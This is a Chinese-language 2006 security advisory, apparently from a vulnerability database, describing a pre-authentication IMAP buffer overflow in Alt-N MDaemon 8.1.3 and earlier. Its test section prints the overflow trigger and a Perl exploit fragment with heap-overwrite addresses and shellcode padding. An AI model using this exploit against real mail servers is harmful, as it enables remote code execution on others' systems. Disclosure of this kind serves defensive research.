发布日期：2006-05-29
更新日期：2006-05-29

受影响系统：

Alt-N MDaemon <= 8.1.3

描述：

---

BUGTRAQ  ID: 18129

Alt-N MDaemon是一款基于Windows的邮件服务程序。

Alt-N MDaemon的IMAP对预认证的处理上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。

远程攻击者可以在Alt-N MDaemon预认证过程中发送特制消息触发IMAP服务的溢出漏洞，导致执行任意指令。

<*来源：kcope （kingcope@gmx.net）
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

a001 "[X]\r\n
X为99555字节长。

或者：

$where = "\x4c\x14\xed\x77"; # UnhandledExceptionFilter 77ED144C
#$where = "\x20\xf0\xfd\x7f"; # PEB Lock Pointer 7FFDF000
$what = "\x3d\xb9\x82\x02"; # JMP EDX 03bfcb9A

$nops = "A" x 100;
$a = $nops . $shellcode . ("Z" x (0x2006-length($shellcode)-length($nops))) . $what . $where . ("Z" x (0x184AC - 0x200A - 12));
print $sock "a001 \"$a\r\n";
close($sock);

建议：

---

厂商补丁：

Alt-N
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.altn.com

浏览次数：3719
严重程度：0（网友投票）